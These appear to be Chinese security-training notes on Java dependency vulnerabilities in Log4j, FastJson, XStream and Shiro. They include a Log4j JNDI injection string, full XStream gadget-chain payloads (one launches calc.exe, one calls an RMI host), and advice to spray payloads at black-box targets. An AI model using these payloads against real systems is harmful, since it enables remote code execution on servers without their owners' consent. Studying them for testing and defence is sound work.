第48天:Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式
1、安全开发-JavaEE-第三方依赖开发安全
2、安全开发-JavaEE-数据转换&FastJson&XStream
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理







一、Log4j
一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
1、Maven引用
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

2、接受输入值
3、Log4j错误处理
String code="${java:os}";
log.error("{}",code);

4、Jndi注入RCE执行
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}",exp);


演示:2.14.1版本

结论:尝试输出日志时可利用JNDI注入触发RCE
利用:黑盒在各种地方插入 白盒看哪里有调用(见图)
黑盒:打开一个网页,看到有上传参数的点,无脑上传log4j的payload,因为不知道代码,也不知道是哪里接受恶意参数,只能无脑上传来测试
白盒:做代码审计看哪里调用了,会引发log4j漏洞的地方

参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA
二、FastJson不同版本漏洞不一样
一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换。
1、fastjson1.2.24的漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>


2、fastjson1.2.25的漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>


3、序列化方法:
JSON.toJSONString(),返回字符串;
JSON.toJSONBytes(),返回byte数组;
4、反序列化方法:
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();
6、常用:
JSON.toJSONString(),JSON.parse(),JSON.parseObject()
7、演示:1.2.24及1.2.25版本
结论:反序列化时会调用类里的get及set方法
利用:已知类的调用方法 自带类的调用链固定版本的CVE(见图)
黑盒:
①看抓包报错,url访问报错,工具扫描等,能不能暴露astjson及其版本
②前提是Java写的应用,看burpsuite数据包传递JSON数据,尝试用payload替换json数据,无脑payload
白盒:java调用fastjson库,并知道版本,代码审计看调用方法如parse(),parseObject()和可控变量
参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

三、XStream
一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。
1、Xstream1.4.5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>

2、Xstream1.4.15
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
3、序列化Car类:
Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

4、反序列化Car类:
String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);

结论:反序列化时会调用类里的readObject方法(类需继承接口)

参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

5、已知类的调用方法:(也就是上面的Car类被序列化反序列化,且继承了serializable,类中有readObject方法->:下面的payload才生效,条件比较苛刻)
String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +
" <com.example.xstreamdemo.Car>\n" + //Car类,继承了serializable,类中有readObject方法
" <default>\n" +
" <price>4000000</price>\n" +
" <name>Ferrari</name>\n" +
" </default>\n" +
" </com.example.xstreamdemo.Car>\n" +
"</com.example.xstreamdemo.Car>";

6、自带类的调用链固定版本的CVE:
①适用xstream1.4.5版本,不适用xstream1.4.15版本,
String payload = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";


②适用xstream1.4.15版本
String poc="<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +
" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +
" <packet>\n" +
" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +
" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +
" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +
" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +
" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +
" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +
" <uriProperties/>\n" +
" <attributeProperties/>\n" +
" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +
" <getter>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </getter>\n" +
" </inheritedAttWildcard>\n" +
" </bi>\n" +
" <tagName/>\n" +
" <context>\n" +
" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +
" <outer-class reference='../..'/>\n" +
" </marshallerPool>\n" +
" <nameList>\n" +
" <nsUriCannotBeDefaulted>\n" +
" <boolean>true</boolean>\n" +
" </nsUriCannotBeDefaulted>\n" +
" <namespaceURIs>\n" +
" <string>1</string>\n" +
" </namespaceURIs>\n" +
" <localNames>\n" +
" <string>UTF-8</string>\n" +
" </localNames>\n" +
" </nameList>\n" +
" </context>\n" +
" </bridge>\n" +
" </bridge>\n" +
" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" + //该payload需在此处生成JNDI的注入语句
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <string>foo</string>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </jaxbObject>\n" +
" </dataSource>\n" +
" </message>\n" +
" <satellites/>\n" +
" <invocationProperties/>\n" +
" </packet>\n" +
" </indexMap>\n" +
" </comparator>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";

特别注意:
以上payload用到了JNDI注入,该注入也有版本限制(这个版本限制指的是java运行程序使用的jdk版本限制)->造成我们白盒/黑盒发现了该Java代码使用xstream组件,也知道该组件的版本,并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析:很有可能是jkd版本不对(该paoload里面有JNDI注入,该注入受jdk版本限制)
黑盒:
①看抓包报错,url访问报错,工具扫描等,能不能暴露Xstream及其版本
②前提是Java写的应用,看burpsuite数据包传递XML数据,尝试用payload替换jxml数据,无脑payload
白盒:看调用方法和可控变量
四、Shiro
一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。
开发技术:利用AI提示写一个
结论:配置不当或版本安全漏洞
利用:固定版本的CVE利用(见图)


shiro工具利用:


黑盒:看身份验证数据包->是否有关键字Rememberme->判定网站使用了shiro
白盒:看版本及安全问题
参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag

相关文章:
第48天:Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式
#知识点 1、安全开发-JavaEE-第三方依赖开发安全 2、安全开发-JavaEE-数据转换&FastJson&XStream 3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理 一、Log4j 一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工…...
ES6笔记总结
首先我们需要了解一下什么是 ECMA: ECMA(European Computer Manufacturers Association)中文名称为欧洲计算机制造商协会,这 个组织的目标是评估、开发和认可电信和计算机标准。1994 年后该组织改名为 Ecma 国际 什么是 ECMAScr…...
使用Docker Desktop部署GitLab
1. 环境准备 确保Windows 10/11系统支持虚拟化技术(需在BIOS中开启Intel VT-x/AMD-V)内存建议≥8GB,存储空间≥100GB 2. 安装Docker Desktop 访问Docker官网下载安装包安装时勾选"Use WSL 2 instead of Hyper-V"(推荐…...
经典算法 统计数字问题(常数时间解决)
统计数字问题 一本书的页码从自然数1 开始顺序编码直到自然数n。书的页码按照通常的习惯编排,每个页码都不含多余的前导数字0。例如,第6 页用数字6 表示,而不是06 或006 等。数字计数问题要求对给定书的总页码n,计算出书的全部页…...
基于yolov8的糖尿病视网膜病变严重程度检测系统python源码+pytorch模型+评估指标曲线+精美GUI界面
【算法介绍】 基于YOLOv8的糖尿病视网膜病变严重程度检测系统 基于YOLOv8的糖尿病视网膜病变严重程度检测系统是一款利用深度学习技术,专为糖尿病视网膜病变早期诊断设计的智能辅助工具。该系统采用YOLOv8目标检测模型,结合经过标注和处理的医学影像数…...
AcWing 5933:爬楼梯 ← 递归 / 递推 / 高精度
【题目来源】 https://www.acwing.com/problem/content/5936/ 【题目描述】 树老师爬楼梯,他可以每次走 1 级或者 2 级,输入楼梯的级数,求不同的走法数。 例如:楼梯一共有 3 级,他可以每次都走一级,或者第…...
c++ 中的容器 vector 与数组 array
当初自学 c 与 c 语言时,一直被指针弄的云里雾里。后来 c 中引入了容器,避免了指针。但是,一些教材把容器的章节放在书本中后面的章节,太不合理。应该把这种方便的功能放到前面,这样一些初学者就不会遇到太多生硬难懂的…...
我的世界1.20.1forge模组开发进阶物品(7)——具有动画、3D立体效果的物品
基础的物品大家都会做了对吧?包括武器的释放技能,这次来点难度,让物品的贴图呈现动画效果和扔出后显示3D立体效果,这个3D立体效果需要先学习blockbench,学习如何制作贴图。 Blockbench Blockbench是一个用于创建和编辑三维模型的免费软件,特别适用于Minecraft模型的设计…...
ubuntu22.04安装docker engine
在Ubuntu 22.04上安装Docker Engine可以通过以下步骤完成: 更新系统包索引: sudo apt update安装必要的依赖包: 这些包允许apt通过HTTPS使用仓库。 sudo apt install -y apt-transport-https ca-certificates curl software-properties-commo…...
性能测试测试策略制定|知名软件测评机构经验分享
随着互联网产品的普及,产品面对的用户量级也越来越大,能抗住指数级增长的瞬间访问量以及交易量是保障购物体验是否顺畅的至关重要的一环,而我们的性能测试恰恰也是为此而存在的。 性能测试是什么呢?性能测试要怎么测呢?…...
Let‘s Encrypt免费证书的应用示例
文章目录 前言证书申请证书介绍cert.pemchain.pemfullchain.pemprivkey.pem 使用步骤搭建简易demo应用新建nginx配置文件测试SSL是否生效 总结 前言 最近在搞苹果应用上架的问题,据说用HTTP会被拒,但貌似不绝对,2017年苹果曾发公告说必须要求…...
threeJS——安装以及三要素
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、安装二、三要素1.场景1.1创建场景1.2向场景添加元素1.3场景属性 2.相机2.1相机特点2.2正交相机2.3空间布局2.4小姐操作 3.渲染器 总结 前言 本章简单介绍前…...
【Electron入门】进程环境和隔离
目录 一、主进程和渲染进程 1、主进程(main) 2、渲染进程(renderer) 二、预加载脚本 三、沙盒化 为单个进程禁用沙盒 全局启用沙盒 四、环境访问权限控制:contextIsolation和nodeIntegration 1、contextIsola…...
提示词框架介绍和使用场景
框架介绍 CO-STAR 框架 定义 CO-STAR是六个关键要素的缩写,每个字母代表一个特定的部分: Context(上下文) :提供任务的背景信息或环境 当前任务是为一家科技公司撰写一篇关于人工智能发展趋势的文章/ 需要为一场面向高中生的科普讲座准备内容Objective(目标) :明确任…...
牛客NC288803 和+和
import java.util.Comparator;import java.util.PriorityQueue;import java.util.Scanner;public class Main {public static void main(String[] args) {// 创建Scanner对象用于读取输入Scanner sc new Scanner(System.in);// 读取两个整数n和m,分别表示数组的…...
AI学习第七天
数组:基础概念、存储特性及力扣实战应用 在计算机科学与数学的广袤领域中,数组作为一种极为重要的数据结构,发挥着不可或缺的作用。它就像一个有序的 “数据仓库”,能高效地存储和管理大量数据。接下来,让我们深入了解…...
【uniapp原生】实时记录接口请求延迟,并生成写入文件到安卓设备
在开发实时数据监控应用时,记录接口请求的延迟对于性能分析和用户体验优化至关重要。本文将基于 UniApp 框架,介绍如何实现一个实时记录接口请求延迟的功能,并深入解析相关代码的实现细节。 前期准备&必要的理解 1. 功能概述 该功能的…...
XR应用测试:探索虚拟与现实的边界
引言 随着XR(扩展现实,Extended Reality)技术的快速发展,VR(虚拟现实)、AR(增强现实)和MR(混合现实)应用逐渐渗透到游戏、教育、医疗、工业等多个领域。对于…...
算法之算法思想
算法思想 ♥算法思想知识体系详解♥ | Java 全栈知识体系 经典算法思想总结 经典算法思想总结(含LeetCode题目推荐) | JavaGuide...
mac电脑中使用无线诊断.app查看连接的Wi-Fi带宽
问题 需要检查连接到的Wi-Fi的AP硬件支持的带宽。 步骤 1.按住 Option 键,然后点击屏幕顶部的Wi-Fi图标;2.从下拉菜单中选择 “打开无线诊断”(Open Wireless Diagnostics);3.你可能会看到一个提示窗口,…...
从银行转账到会话管理:用C#时间戳实战防重放攻击与用户超时注销
从银行转账到会话管理:用C#时间戳实战防重放攻击与用户超时注销 在金融级应用开发中,时间戳从来不只是简单的时间表示。当用户A在网银发起一笔转账时,系统如何确认这个请求不是黑客截获后重放的旧数据包?当用户B离开电脑半小时后返…...
OpenClaw飞书机器人集成:Kimi-VL-A3B-Thinking多模态问答助手
OpenClaw飞书机器人集成:Kimi-VL-A3B-Thinking多模态问答助手 1. 为什么选择OpenClaw飞书Kimi-VL组合? 去年我在内容团队工作时,经常遇到这样的场景:设计师发来一张海报初稿,我们需要快速判断文案与图像的匹配度&…...
为什么Logisim-Evolution是数字电路学习的最佳选择?
为什么Logisim-Evolution是数字电路学习的最佳选择? 【免费下载链接】logisim-evolution Digital logic design tool and simulator 项目地址: https://gitcode.com/gh_mirrors/lo/logisim-evolution 在数字逻辑的世界里,你是否曾为理解抽象的逻辑…...
Maxwell永磁体磁场仿真:从表面强度到空间分布的全流程解析
1. 永磁体磁场仿真入门指南 第一次接触永磁体磁场仿真时,我也被各种专业术语搞得晕头转向。后来在实际项目中才发现,掌握这项技能对电机设计、传感器开发等工作至关重要。Maxwell作为电磁场仿真领域的标杆软件,能帮助我们直观地看到肉眼看不见…...
【单片机】51单片机的晶振选择
51单片机的晶振可以是12MHz,但更多的使用11.0592MHz。因为51单片机的串口的波特率在可调模式下,通过定时器溢出来确定时间。 定时器计数采用机器周期,51单片机指令集属于CISC,可能与此有关,导致12个晶振时钟周期等于1个…...
【Scratch×AI 系列 07】流程使用(下):从 planX 到可导入的 .sb3(打包与自检)
摘要 从 planX.md 到可导入 sb3,中间只有两步:exec-plan 生成 project.json → build 规范打包 真正决定“导入成功率”的不是你写了多少积木,而是你有没有做 3 个自检:结构、资源、打包根目录 Windows 下最容易翻车的点我都踩过:.sb3 不能直接 Compress-Archive、JSON 深…...
考虑需求响应的微网优化调度MATLAB程序:基于粒子群算法,包含风力、光伏、储能等多主体模块化...
考虑需求响应的微网优化调度matlab 程序采用粒子群算法,风力发电机、光伏发电机、储能装置、燃气轮机、柴油机组等主体,考虑负荷需求响应、soc约束等,程序模块化编程,注释清楚,有对应资料概述 本文介绍了一套基于粒子群…...
做自媒体,如何从“不会写”到“持续输出”
我刚开始做自媒体的时候,最大的问题不是“没东西写”,而是“不知道怎么写”。素材准备好了,选题也定了,打开文档,光标一闪一闪,脑子里一片空白。第一句话该说什么?怎么开头才不枯燥?…...
ThinkBook 16 2024款装Ubuntu 22.04,无线网卡和蓝牙驱动修复保姆级教程
ThinkBook 16 2024款Ubuntu 22.04无线与蓝牙驱动终极解决方案 刚拿到新款ThinkBook 16 2024的开发者们,在享受其强悍性能的同时,可能都会遇到一个共同的烦恼——安装Ubuntu 22.04后无线网卡和蓝牙无法正常工作。这并非硬件故障,而是由于Intel…...
空间滤波技术在光学图像处理中的应用与实验解析
1. 空间滤波技术的基本原理 我第一次接触空间滤波是在研究生阶段的实验室里,当时看着导师用激光器和几个透镜就能实现图像的神奇变换,感觉就像变魔术一样。后来自己动手做了几次实验才明白,这背后的原理其实非常优雅。 空间滤波的核心思想源自…...
